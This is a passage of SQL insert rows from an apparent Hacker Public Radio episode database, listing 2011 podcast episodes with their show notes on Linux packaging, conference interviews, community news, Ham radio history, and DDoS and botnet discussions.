/>\r\n   https://en.wikipedia.org/wiki/M%C3%A9rida,_Yucat%C3%A1n<br />\r\n   info@carlosduarte.info<br />\r\n   https://twitter.com/#!/tulakalbeyo<br />\r\n   https://vallabien.carlosduarte.info/</p>\r\n <p>badbit<br />\r\n   https://en.wikipedia.org/wiki/mexicali<br />\r\n   badbit@gmail.com<br />\r\n   https://twitter.com/#!/b4db1t<br />\r\n   https://badbit.blogspot.com/</p>\r\n<p>music!<br />\r\n   hermanos calderón - el camian https://www.youtube.com/watch?v=_uy3wchqmze<br />\r\n   little-scale - demons that devour human flesh https://www.lazerscale2010.com/track.php?id=55<br />\r\n   sonido lasser drakar - visions https://www.youtube.com/watch?v=8kjdCJgFM1I</p>',168,58,1,'CC-BY-NC-SA','linux,ubuntu,unity,hackerspace',0,2134,1),
(733,'2011-05-24','Linux Packaging Systems (too many)',1051,'Why marcoz thinks there are too many packaging systems for Linux, and how that\'s harmful','<p>Packaging systems:<br />\r\n   rpm, rpm5,  deb/dpkg,  ebuild,  compressed files (archlinux),  pisi,  .tgz (tar.gz file)  slackware/vector linux,  .tlz (Vector Linux)</p>\r\n<p>Package managers:<br />\r\n   Program		Distro(s)	website		notes<br />\r\n   apt 		debian <br />\r\n   conary		Foresight Liux/rPath company 	handles distributed repositories, commit/rollback<br />\r\n   entropy		Sabayon				consists of Equo client (textual), Sulfur client (graphical) <br />\r\n   kpackagekit	kubuntu				uses policykit (any problems if booted computer from a live cd and mounted and chroot\'d?)<br />\r\n   opkg		openmoko			lightweight; based on ipkg<br />\r\n   pacman		archlinux<br />\r\n   pirut		fedora				it calls yum so it\'s just a gui wrapper? not sure how widely used...?<br />\r\n   pisi		pardus (Turkish distro)		was based on gentoo. as far as I can tell it now uses its own pkg format<br />\r\n   poldek		Fedora				RPM<br />\r\n   portage		gentoo				ebuilds,<br />\r\n   slapt		slackware			tgz<br />\r\n   slapt		vectorlinux			tlz;<br />\r\n   smart		UnityLinux			RPM5<br />\r\n   synaptic	ubuntu				DEB; graphical frontend to apt<br />\r\n   urpmi		mandriva			RPM<br />\r\n   yum		redhat/fedora			RPM<br />\r\n   zypper		opensuse			RPM</p>\r\n<p>Other useful links:<br />\r\n   https://en.wikipedia.org/wiki/List_of_software_package_management_systems<br />\r\n   https://www.packagekit.org/pk-matrix.html</p>\r\n<p>apt - https://wiki.debian.org/Apt<br />\r\n   conary - https://wiki.rpath.com/wiki/Conary<br />\r\n   entropy - https://wiki.sabayon.org/index.php?title=En:Entropy<br />\r\n   kpackagekit - https://en.wikipedia.org/wiki/KPackageKit, https://www.packagekit.org<br />\r\n   opkg - https://code.google.com/p/opkg/<br />\r\n   pacman - https://www.archlinux.org/pacman/<br />\r\n   pirut - https://fedoraproject.org/wiki/F8_User_Guide_-_Managing_Software_with_Pirut<br />\r\n   pisi - https://en.pardus-wiki.org/Making_Pisi_Packages<br />\r\n   poldek - https://poldek.pld-linux.org/<br />\r\n   portage - https://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1<br />\r\n   slapt - https://vectorlinux.osuosl.org/docs/vl58/manuals/vl5_slaptget_en.html<br />\r\n   smart - https://niemeyer.net/smart<br />\r\n   synaptic - https://www.nongnu.org/synaptic/ <br />\r\n   urpmi - https://wiki.mandriva.com/en/Tools/urpmi<br />\r\n   yum - https://yum.baseurl.org/<br />\r\n   zypper - https://en.opensuse.org/Portal:Zypper<br />\r\n</p>\r\n<p>Concerns:<br />\r\n   1) package burn out - will it get to the point where only either large distros or commercial distros have large repos due to the effort involved?<br />\r\n   2) I\'ve lost track of the number of times i\'ve heard from people  \'our distro doesn\'t have enough manpower to package ...\'<br />\r\n   wouldn\'t it be helpful to not have to use our limited manpower in building redundant packages?<br />\r\n   3) in 10 (or less) years when non-technical people take over at Redhat/Ubuntu/other large distro,  will they use the package system as a club to beat the other distros with? I\'m not sure how, but where money is involved, you can feel assured it _will_ happen.<br />\r\n   4) current state of packaging systems in linux is like sound systems were 10 yrs ago.<br />\r\n   remember esd vs arts vs vs ...? each desktop environment had its own system.  sound in linux was painful and a complete joke.  it still has a ways to go but it\'s _SO_ much better now that it was.  does anyone want to go back to that?<br />\r\n   pulseaudio isn\'t perfect but it\'s so much better than what we had before.  and it\'s ONE system!<br />\r\n   can you image if printing and authentication were like the packaging systems?   image if everyone had their own printing system instead of CUPs?   imagine if there was no pam.d?<br />\r\n   5) I believe packaging systems are NOT about choice. the exact opposite. it\'s about vendor lockin and NIH. <br />\r\n   (we\'ll do it OUR way because we can do it better or the \'proper\' way.  &quot;so-and-so does blah, which is<br />\r\n   completely stupid&quot;)<br />\r\n   choice is being able to write a script in php,perl,python,bash,csh,... on the SAME system. <br />\r\n   that\'s choice <br />\r\n   because I can CHOOSE.  If I have a debian box I can\'t choose to use RPM or ebuilds, same for those other systems.<br />\r\n   of the systems I\'ve used: deb,  rpm, rpm5, portage,  (and tarballs if you count linuxfromscratch)<br />\r\n   and the managers I\'ve used: yum, urpmi, smart, kpackagekit, synaptic, apt-get, emerge<br />\r\n   each system has little features the others don\'t. but there is nothing that one system has that couldn\'t be added to the others. </p>',156,0,1,'CC-BY-NC-SA','linux,packaging,package manager',0,2433,1),
(734,'2011-05-25','The Language Frontier Episode 4.5',593,'Syndicated Thursday Presents: The Language Frontier Episode 4.5','<p>Please note that this series originally aired some time ago.</p>\r\n<p>Skirlet takes some listener feedback about her miniseries, <a href=\"https://hackerpublicradio.org/series.php?id=48\"><em>The Language Frontier</em></a>.</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-4a.ogg\" target=\"_blank\">aesdiopod</a>.</p>\r\n',88,0,1,'CC-BY-NC-SA','language,obscurity',0,2158,1),
(735,'2011-05-26','Interview with Dave Yates about SELF 2011',2483,'Ken Fallon explores the schedule of the 2011 Southeast Linux Fest with Dave Yates','<p>\r\nIn todays episode Ken interviews Dave Yates of the <a\r\nhref=\"https://www.southeastlinuxfest.org/\">Southeast LinuxFest</a>.</p>\r\n\r\n<p>The Southeast LinuxFest is a community event for anyone who wants to learn more about Linux and Free & Open Source software. It is part educational conference, and part social gathering. Like Linux itself, it is shared with attendees of all skill levels to communicate tips and ideas, and to benefit all who use Linux/Free and Open Source Software. LinuxFest is the place to learn, to make new friends, to network with new business partners, and most importantly, to have fun!</p> \r\n<p>The third annual Southeast LinuxFest is scheduled for <strong>June 10-12, 2011 in Spartanburg, SC</strong>.</p> \r\n<p>Find us on <a href=\"https://www.facebook.com/pages/Southeast-Linuxfest/110875607129\" target=\"_blank\">Facebook</a>, <a href=\"https://twitter.com/#!/selinuxfest\" target=\"_blank\">Twitter</a> and <a href=\"https://identi.ca/selinuxfest\" target=\"_blank\">Identi.ca</a></p> ',30,78,1,'CC-BY-NC-SA','SELF 2011, interview',0,2358,1),
(736,'2011-05-29','Stop the Ubuntu 11.04 whining',376,'JWP is dismayed at the criticism that the Ubuntu project is receiving regarding its 11.04 release','<p> \r\nIn this episode JWP discusses the negativity surrounding the Unity desktop.\r\n</p>',129,0,1,'CC-BY-NC-SA','linux,ubuntu',0,2390,1),
(737,'2011-05-30','My Start in Computing and Linux',463,'ArigornStrider\'s journey to Linux, starting at age eight!','<p>\r\nThis is how I got started building custom computers and began using linux. It was a slow process for me dipping my feet deeper and deeper until I found a daily usefullness for both and have not turned back since.</p>',172,0,1,'CC-BY-NC-SA','hardware,linux,distrohopping',0,2264,1),
(738,'2011-05-31','Short History of Ham Radio and How I got Involved',1494,'A brief history of Ham radio development and Joel\'s personal connection to it','<P>\r\nShow Notes for More Information\r\n</P>\r\n<P>\r\nThis show is a short history of the beginning of Ham Radio and how I got involved.\r\n</P>\r\n<P>\r\n<A HREF=\"https://www.qsl.net/ab0cw/sparktx.htm\">https://www.qsl.net/ab0cw/sparktx.htm</A>\r\n<A HREF=\"https://www.arrl.org\">https://www.arrl.org</A>\r\n</P>',173,0,1,'CC-BY-NC-SA','\"ham radio\"',0,2219,1),
(739,'2011-06-01','The Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.',4389,'A visit to the Knightcast podcast','<p>\r\nThis show was aired on \"Saturday, 07 May 2011 06:23\" <br />\r\n<a href=\"https://knightwise.com/knightcast-podcast/836-the-knightcast-kc0053-wirelessly-syncing-content-to-your-ipad-and-ipod\" >The Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.</a>\r\n</p>\r\n<p>\r\nIn this deep-geeky episode we unlock the secret of automatic podcast downloading and distribution to android and IOS Devices without using itunes or a cable. We mash together Ubuntu, Gpodder, a bash script a couple of SSH Connections and an Ipad app to unlock the secrets of wirelessly pushing content to your IOS Devices. As a bonus we take a glance at calibre and show you how to have your favorite rss feeds available to read offline. \r\n</p>',111,54,1,'CC-BY-NC-SA','podcast,android,gPodder,Ubuntu,IOS,Calibre',0,2265,1),
(740,'2011-06-02','DDoS : What is it and how to protect yourself',990,'Distributed Denial of Service attacks','<P>\r\nIn today\'s HPR, I will talk about DDoS attacks and ways to protect yourself and what actions you have in recourse.\r\n</P>\r\n<P>\r\nIf you have questions, please email me at <A HREF=\"mailto:josh@darksideofperfection.com\">josh@darksideofperfection.com</A>, or message me on binrev\'s IRC.\r\n</P>',174,0,1,'CC-BY-NC-SA','DDoS,\"Distributed Denial of Service\",botnet,LOIC,\"Low Orbit Ion Cannon\"',0,2407,1),
(741,'2011-06-05','HPR Community News for May 2011',2460,'HPR Community News for May 2011','<h2>Mumble Server</h2>\r\n\r\n<P>\r\nGeneralSettings <br />\r\nServer Name: This is your choice <br />\r\nAddress: ch1.teamspeak.cc <br />\r\nPort: 64747 <br />\r\nUsername: This is your choice <br />\r\n<A HREF=\"https://wiki.linuxbasix.com/tiki-index.php?page=Linux+Basix+Mumble\">https://wiki.linuxbasix.com/tiki-index.php?page=Linux+Basix+Mumble</A>\r\n</P>\r\n<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=169\">Slurry</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=170\">Dismal Science & Sunzofman1</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=171\">Brotherred</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=172\">ArigornStrider</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=173\">Joel</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=174\">Josh Knapp</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n\r\n<UL> \r\n<li>716 :: HPR Admins :: Behind the Scenes at HPR. A community update for the month 2011-04</li>\r\n<li>717 :: Slurry :: My Switch from Windows to Linux</li>\r\n<li>718 :: Brotherred :: How I got into Linux</li>\r\n<li>719 :: Skirlet :: The Language Frontier Episode 4</li>\r\n<li>720 :: klaatu :: CLI Magic</li>\r\n<li>721 :: lostnbronx :: THEATER OF THE IMAGINATION -- PART 03</li>\r\n<li>722 :: Claudio Miranda :: How I Upgraded My PC - Motherboard</li>\r\n<li>723 :: klaatu :: How to be a safe computerist</li>\r\n<li>724 :: Robin Catling :: Full Circle Podcast: Ubuntu Manual Project</li>\r\n<li>725 :: pokey :: NELF_Review</li>\r\n<li>726 :: MrGadgets :: Journey to Linux</li>\r\n<li>727 :: klaatu :: HOWTO root and mod an Andr0id phone.</li>\r\n<li>728 :: Dismal Science &amp; Sunzofman1 :: Sex, Race and Open Source</li>\r\n<li>729 :: Robin Catling :: Syndicated Thursday: FSP Sam smith, Opentech Conference 2011</li>\r\n<li>730 :: code.cruncher :: LFNW: Some Facts and 2 Interviews</li>\r\n<li>731 :: klaatu :: Klaatu the ubiquity and potential danger of the rm command</li>\r\n<li>732 :: sikilpaake &amp; badbit :: sikilpaake and badbit - spics on tech - episode 02</li>\r\n<li>733 :: marcoz :: Linux Packaging Systems (too many)</li>\r\n<li>734 :: Skirlet :: The Language Frontier Episode 4.5</li>\r\n<li>735 :: Ken Fallon :: Interview with Dave Yates about SELF 2011</li>\r\n<li>736 :: JWP :: Stop the Ubuntu 11.04 whining</li>\r\n<li>737 :: ArigornStrider :: My Start in Computing and Linux</li>\r\n<li>738 :: Joel :: Short History of Ham Radio and How I got Involved</li>\r\n<li>739 :: Knightwise :: The Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.</li>\r\n<li>740 :: Josh Knapp :: DDoS : What is it and how to protect yourself</li>\r\n</UL>\r\n<h2>Apologies To</h2>\r\n<UL> \r\n<li>Droops for not been there</li>\r\n<li>stankdawg not dwag</li>\r\n</UL>\r\n</p>\r\n<h2>Month in Review </h2>\r\n<p>\r\nThis was a busy and bumpy month as I recall it ... Ken went on holidays and the server felt abandoned and went on strike and then it pretended that there is no more space in the queue and once there was more space we almost ran out of shows and we are still looking for people to do HPR-PR at SELF, for which they will get 2 fantastic HPR T-Shirts. Ken? did you also move the server this month?\r\n\r\nHPR Outro\r\n<UL>\r\n<LI>Klaatu proposal to mention binrev in the outro.\r\n<pre>\r\nHacker Public Radio is brought to you by the BinRev Radio, \r\nthe Infonomicon Computer Club and our Sponsor ${SPONSOR}.\r\n${SPONSOR} is ${Marketing speak}\r\nHPR is a Community podcast network that releases shows every \r\nweekday Monday through Friday.\r\nAll the shows are made by the community  fellow listeners \r\nlike you!.\r\nFor more information on how you can contribute a show please \r\ngo to hackerpublicradio dot org and click on the contribute \r\nbutton\r\nThere is no restrictions on how long the show can be, nor \r\non the topic you can cover as long as they are of interest \r\nto hackers.\r\n</p>\r\n<LI>Updated the Syndication page to include OGG, SPX and Comments Feeds.\r\n<LI>People had problems getting on the Mailing list\r\n<LI>Ira put a drupal website together imahuph.net/hpradmin1\r\n<LI>Code Cruncher is working on automation\r\n<UL>\r\n<LI>Show prep script\r\n<LI>upload form\r\n<LI>security issues?\r\n</ul>\r\n<LI>The books for the business card competition have been sent or have they ?\r\n<LI>Added a md5 script to the site.\r\n<LI>lostnbronx ran a spell check on the \"Contribute\" page\r\n<LI>We ran out of shows - you replied.\r\n<LI>Curbuntu is going to a lug meeting and wanted a history of HPR. We want droops on for an interview.\r\n<LI>Ken is going to OggCamp11 - ordered business cards.\r\n<LI>Fifty OneFifty found the Ultimate interview device\r\n<LI>Cobra 2 \r\n<UL>\r\n<LI>create a torrent tracker for podcast/oggcast/videocast\r\n<LI>Advanced Android hacking series\r\n<LI>HPR Guidelines for fests.\r\n<LI>Wiki\r\n</ul>\r\n<LI>Trend micro unblocked us\r\n<LI>Zibby Keaton says that James Turnbull published his latest book \"Pro Puppet\" through Apress Media \r\n</UL>\r\n\r\n\r\n<h2>RFC Changing show to CC-BY-SA</h2>\r\n<pre>\r\nHi All,\r\n\r\nThis is an official request for a change of license that *NEW* shows\r\nare uploaded as.\r\n\r\nThe proposal is to change from:\r\nhttps://creativecommons.org/licenses/by-nc-sa/3.0/\r\n\r\nTo https://creativecommons.org/licenses/by-sa/3.0/\r\n\r\nThe RFC will be open for a month and the results will be announced\r\nhere and on July\'s HPR Community News. If approved all shows after\r\nthat time will be by default CC-BY-SA unless indicated in the show\r\nnotes. Further, I would then contact everyone that has hosted so far\r\nasking if we can relisence their show(s) as CC-BY-SA.\r\n\r\nThis is entirely up to the community so please use the mail list you\r\nvoice your opinion. Even a one liner is fine.\r\n\r\nKen.\r\n</pre>',159,47,1,'CC-BY-NC-SA','Community News',0,2218,1),
(742,'2011-06-06','How I Got Into Linux',469,'Ken Fallon interviews Dave over Mumble about his use of Linux','This is an ad hoc interview with Dave, recorded on the teamspeak.cc server prior to yesterdays interview.',175,29,1,'CC-BY-NC-SA','Interview,\"PC repair\",\"Linux Mint\",Mumble',0,2416,1),
(743,'2011-06-07','ILF 2011: Interview with Jason Kridner of BeagleBoard',701,'KFive interviews Jason Kridner of BeagleBoard at ILF 2011','<P>In this episode KFive interviews Jason Kridner of BeagleBoard.</p>\r\n<p><a href=\"https://beagleboard.org/about\">https://beagleboard.org/about</a></p>\r\n<h1>About BeagleBoard.org</h1> \r\n<p>BeagleBoard.org is an all volunteer activity started-up by a collection of passionate individuals, including several employees of Texas Instruments, interested in creating powerful, open, and embedded devices. We invite you to participate and become part of BeagleBoard.org, defining its direction.</p> \r\n<p>Support for the Beagle Board comes from the very active development community through this website, the mailing list, and the IRC channel. Distribution is handled by Digi-Key, a major international distributor.</p> \r\n<p>The Beagle Board is a low-cost, fan-less single-board computer based on low-power Texas Instruments processors featuring the ARM Cortex-A8 core with all of the expandability of today\'s desktop machines, but without the bulk, expense, or noise.</p> \r\n',127,78,1,'CC-BY-NC-SA','BeagleBoard,ARM Cortex-A8,Indiana LinuxFest,ILF',0,2568,1),
(744,'2011-06-08','The Language Frontier Episode 5',1338,'Skirlet\'s penultimate show in the series','<p>The penultimate episode of The Language Frontier.  Skirlet talks about the world\'s newfound ability to communicate with one another via \"the digital revolution\".</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-5.ogg\" target=\"_blank\">aesdiopod</a>.</p>',88,48,1,'CC-BY-NC-SA','language,\"movie subtitle\",Esperanto',0,2273,1),
(745,'2011-06-09','Wingz',1006,'MrGadgets speaks of lessons learned with a product called Wingz','<P>\r\nCompany: Innovative Software (Primary: software suite smart software)<br />\r\nProduct: Wingz  a spreadsheet software<br />\r\nFirst for the Mac, stupidest possible product, because there already was Excel<br />\r\nThey hired Leonard Nimoy for the ad video, because Wingz was all about the future<br />\r\nThey had a Wingz bag in different colors , which was awarded laptop accessory of the year one year by Jerry Pournelle (scifi writer) in the Chaos Manor column he wrote for BYTE Magazine.<br />\r\nAfter two years the Wingz Software came out, also for Os2 and Windows and was very successful, up to 15% of the Mac market <br />\r\nA special feature was that it could connect to databases<br />\r\n</P>\r\n<P>\r\nand the lesson learned ... (not to be spoiled here, listen to the podcast)\r\n</P>',155,0,1,'CC-BY-NC-SA','COMDEX,\"Innovative Software\",Wingz,spreadsheet,Informix',0,2386,1),
(746,'2011-06-13','Interview with Tony Whitmore about OggCamp11',1189,'Ken Fallon interviews Tony Whitmore of the Ubuntu-UK Podcast about OggCamp11','<p>\r\nIn todays episode Ken interviews Tony Whitmore of the <a\r\nhref=\"https://podcast.ubuntu-uk.org/\">Ubuntu-UK Podcast</a>about <a\r\nhref=\"https://oggcamp.org/\">OggCamp11</a>.</p>\r\n<p><strong>OggCamp 11</strong> is a two-day technology festival\r\nbringing together the most interesting people from the Linux, Open\r\nSource and Hardware Hacking communities to share their passion and\r\nknowledge on all things geeky in a barcamp-style atmosphere.</p>\r\n<p>Taking place <strong>AUGUST 13 &amp; 14, FARNHAM MALTINGS, UK</strong></p>\r\n<p>\r\nOggCamp 11 is a two-day unconference where technology enthusiasts come\r\ntogether to exchange knowledge on a wide range of topics from Linux\r\nand open source software to building home automation systems. Now in\r\nits third year, the event is steadily growing and attracting\r\ninteresting speakers from all over the UK, the rest of Europe and even\r\nthe US. Since OggCamp is an unconference, speaking schedules are set\r\non the first day and everyone is free to propose a talk themselves.\r\nYou are of course free to come along and just listen to other people\'s\r\ntalks but we strongly encourage everyone to take part and talk on\r\nsomething they are passionate about in technology. OggCamp was first\r\norganised by the combined forces of the <a\r\nhref=\"https://linuxoutlaws.com\">Linux Outlaws</a> and the <a\r\nhref=\"https://podcast.ubuntu-uk.org\">Ubuntu UK Podcast</a> as a filler\r\nevent after <a href=\"https://www.lugradio.org/live/2009/\">the last\r\nLugRadio Live</a> was decided to be a one-day only event.\r\n</p>\r\n<p>\r\nFor the latest news, follow <strong>OggCamp 11</strong> on the\r\nmicroblogging service of your choice: <a\r\nhref=\"https://identi.ca/oggcamp\"><strong>identi.ca</strong></a> / <a\r\nhref=\"https://twitter.com/oggcamp\"><strong>Twitter</strong></a>\r\n</p>\r\n<p>\r\nIf you are interested in joining the OggCamp crew or sponsoring the\r\nevent then please email oggcamp at ubuntu dash uk dot org.\r\n</p> ',30,62,1,'CC-BY-NC-SA','oggcamp,oggcamp11',0,2211,1),
(747,'2011-06-13','Botnets and DNS Tunnelling',3000,'A discussion between two HPR hosts, one in Dundee and the other in Vancouver','<p>HPR podcasting: \"It\'s just as easy as getting two geeks onto skype!\"</p>\r\n\r\n<p>Finux Tech Weekly podcast: <a href=\"https://www.finux.co.uk/\">https://www.finux.co.uk/</a></p>\r\n\r\n<p>BOTNETS<br />\r\n53% increase in command and control servers in Canada</p>\r\n\r\n<p>This number was published by Websense. They decided to invest the situation after seeing an increase in targeted attacks against the Canadian government.</p>\r\n\r\n<p>Interesting Statistics!<br />\r\n<a href=\"https://community.websense.com/blogs/websense-news-releases/archive/2011/05/19/new-research-shows-cyber-criminals-moving-operations-to-canada.aspx\">https://community.websense.com/blogs/websense-news-releases/archive/2011/05/19/new-research-shows-cyber-criminals-moving-operations-to-canada.aspx</a></p>\r\n\r\n<p>Patrick Runald\'s story that gets summarized, reblogged, quoted, misrepresented all over the place:<br />\r\n<a href=\"https://community.websense.com/blogs/websense-insights/archive/2011/05/09/the-next-hotbed-of-cyber-crime-activity-is-canada.aspx?cmpid=prnr11.5.11\">https://community.websense.com/blogs/websense-insights/archive/2011/05/09/the-next-hotbed-of-cyber-crime-activity-is-canada.aspx?cmpid=prnr11.5.11</a></p>\r\n\r\n<p>Book:<br />\r\nThe Cuckoo\'s Egg: Tracking a Spy Through the Maze of Computer Espionage<br />\r\nby Cliff Stoll</p>\r\n\r\n<p>Bruce Schneier\'s blog: <a href=\"https://www.schneier.com/\">https://www.schneier.com/</a></p>\r\n\r\n<p>Tunnelling over DNS inquires<br />\r\nFinux gave a number of talks (most recently at BSides London) about how you can use DNS tunnelling to bypass some of the usual protocols to access online systems that would not let you access them without being subscribed. </p>\r\n\r\n<p>Here are the slides:<br />\r\n<a href=\"https://www.slideshare.net/bsideslondon/dns-tunnelling-its-all-in-the-name\">https://www.slideshare.net/bsideslondon/dns-tunnelling-its-all-in-the-name</a><br />\r\nwith lots of links on slides 27-29, including NSTX and OzimanDNS</p>\r\n',176,0,1,'CC-BY-NC-SA','Botnet,\"DNS Tunneling\"',0,2327,1),
(748,'2011-06-14','My Favorite Audiocasts',1533,'Today I share with you my list of favorite audiocasts w/ratings and reviews','<p>Today I share with you my list of favorite audiocasts w/ratings and reviews.  Contact me @ dismal.science.hpr AT gmail DOT com</p>',141,75,1,'CC-BY-NC-SA','podcast,audiocast',0,2473,1),
(749,'2011-06-15','Full Circle Podcast: Editing the Podcast, Part One - Preparation',281,'The process of preparing the Full Circle Podcast: preparation','<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n<p>Some time ago we received a listener request to talk about how we record and edit the Full Circle Podcast. So here it is, in several parts. Part One is all about the preparation.</p>\r\n<p><strong>Runtime:</strong> 4mins 46seconds</p>',160,0,1,'CC-BY-NC-SA','Full Circle Podcast',0,2194,1),
(750,'2011-06-16','My path to Linux',532,'In his first episode NewAgeTechnoHippie describes his Linux journey','<P>\r\n<UL>\r\n<LI>1995 Redhat Linux 2</li>\r\n<LI>2003 Redhat Linux 9. Full time Linux Usage Starts</li>\r\n<LI>2004 Fedora Usage starts and feeling a bit unhappy with my Distribution</li>\r\n<LI>Slackware Gentoo Suse Mandrake/Mandrivia Debian Ubuntu</li>\r\n<LI>2008 Switch to Arch Linux and Can\'t Be happier</li>\r\n<LI>2010 Started using Maemo on my N900</li>\r\n</UL>\r\n</P>\r\n<P>\r\nContact NewAgeTechnoHippie at gmail for question or comments\r\n</p>\r\n',177,29,1,'CC-BY-NC-SA','\"Redhat Linux\",LILO,Fedora,\"Arch Linux\",Maemo,\"Nokia N900\"',0,2430,1),
(751,'2011-06-19','Binary Evolutions',1546,'A submission to HPR by Lord Drachenblut and Downer','<P>\r\nSome links to go along with the show.\r\n</P>\r\n\r\n<UL>\r\n<LI><A HREF=\"https://benmetcalfe.com/blog/2010/10/the-ly-domain-space-to-be-considered-unsafe/\">https://benmetcalfe.com/blog/2010/10/the-ly-domain-space-to-be-considered-unsafe/</A></li>\r\n<LI><A HREF=\"https://www.tinynibbles.com/blogarchives/2010/10/i-for-one-welcome-our-new-tld-overlords-with-bare-arms.html\">https://www.tinynibbles.com/blogarchives/2010/10/i-for-one-welcome-our-new-tld-overlords-with-bare-arms.html</A></li>\r\n<LI><A HREF=\"https://mashable.com/2010/10/06/vbly-domain-seizure/\">https://mashable.com/2010/10/06/vbly-domain-seizure/</A></li>\r\n<LI><A HREF=\"https://torrentfreak.com/streaming-site-rolls-out-lawyers-to-fight-domain-seizure-110614/\">https://torrentfreak.com/streaming-site-rolls-out-lawyers-to-fight-domain-seizure-110614/</A></li>\r\n<LI><A HREF=\"https://arstechnica.com/tech-policy/news/2011/06/no-the-feds-didnt-seize-your-domain-youve-just-been-punked.ars\">https://arstechnica.com/tech-policy/news/2011/06/no-the-feds-didnt-seize-your-domain-youve-just-been-punked.ars</A></li>\r\n<LI><A HREF=\"https://torrentfreak.com/google-censorship-gee-no-evil-add-on-110613/\">https://torrentfreak.com/google-censorship-gee-no-evil-add-on-110613/</A></li>\r\n<LI><A HREF=\"https://hothardware.com/News/Turkey-Arrests-32-Anonymous-Members/\">https://hothardware.com/News/Turkey-Arrests-32-Anonymous-Members/</A></li>\r\n<LI><A HREF=\"https://bangordailynews.com/2011/05/30/business/pbs-website-defaced-hackers-claim-famed-dead-rapper-alive-new-zealand/\">https://bangordailynews.com/2011/05/30/business/pbs-website-defaced-hackers-claim-famed-dead-rapper-alive-new-zealand/</A></li>\r\n<LI><A HREF=\"https://arstechnica.com/tech-policy/news/2011/06/titanic-takeover-tuesday-lulzsecs-busy-day-of-hacking-escapades.ars\">https://arstechnica.com/tech-policy/news/2011/06/titanic-takeover-tuesday-lulzsecs-busy-day-of-hacking-escapades.ars</A></li>\r\n<LI><A HREF=\"https://lulzsecurity.com/\">https://lulzsecurity.com/</A></li>\r\n<LI><A HREF=\"https://lulzsecurity.com/releases/\">https://lulzsecurity.com/releases/</A></li>\r\n</UL>\r\n',178,0,1,'CC-BY-NC-SA','Anonymous,LulzSec,Cloudflare',0,2470,1),
(752,'2011-06-20','My Path to Linux: Knoppix',747,'Another part of Mr Gadgets\' journey to his daily use of Linux','<p>We rejoin MrGadgets path to Linux stopping off at the Knoppix station</p>\n\n<p>Other shows in this group are:</p>\n<ol>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=696\">2011-04-04, MrGadgets Path toward Linux</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=726\">2011-05-15, Journey to Linux</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=752\">2011-06-20, My Path to Linux: Knoppix</li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=766\">2011-07-10, MrGadgets finds Linux</li>\n</ol>\n\n',155,29,1,'CC-BY-NC-SA','Knoppix,\"live CD\",microdrive,\"compact flash\"',0,2366,1),
(753,'2011-06-21','ILF 2011: Interview with Klaatu of Slackermedia',1128,'KFive interviews klaatu of Slackermedia','<P>In this episode KFive does unto klaatu as he has done unto others. </p>\r\n<p>\r\n<a href=\"https://www.slackermedia.info/\">https://www.slackermedia.info/</a><br />\r\n</p>\r\n<h3>What is Slackermedia?</h3> \r\n<p>Slackermedia is documentation providing the information a user will need to create a full multimedia studio from a Slackware base install. Inspired by Linux-From-Scratch, it is intended to be a \"distro from text\"; a do-it-yourself Linux studio beginning with installing Slackware and ending with what we will call \"Slackermedia\" with all the custom-compiled and configuration of only the best in multimedia content creation tools that Linux offers and the user requires to achieve their artistic goals. </p> \r\n \r\n<p>Slackermedia is not a distribution, and merely builds upon <a href=\"https://www.slackware.com\" target=\"_blank\">Slackware</a> proper.  Slackermedia is not a laundry list of multimedia apps that are half-finished, it is not a blueprint for how to make your distribution contain lots of multimedia apps you\'ll never use, it is not a series of brainless install scripts. It is a series of tutorials on what a user will need to understand, and how they can go about installing or compiling or configuring important tools like jackd, software synths, soundfonts, gimp brushes, fonts, individual apps, backends like ffmpeg and mencoder, and much more.</p> \r\n \r\n<p>NOTE: Slackermedia is currently optimized for Slackware 13.1.  A 13.37 version with the 2.6.38.4 kernel is in progress.</p> ',127,78,1,'CC-BY-NC-SA','\"Indiana LinuxFest\",ILF,Slackware,\"multimedia studio\"',0,2341,1),
(754,'2011-06-22','The Language Frontier Episode 6',1477,'The last episode in the series','<p>\r\nIn this last episode of the language frontier on syndicated Thursday and was recorded some time ago.\r\n</p>\r\n<p>The final episode of The Language Frontier tackles the question of a universal language.</p>\r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-6.ogg\" target=\"_blank\">aesdiopod</a>.</p>',88,48,1,'CC-BY-NC-SA','\"Noam Chomsky\",Esperanto',0,2402,1),
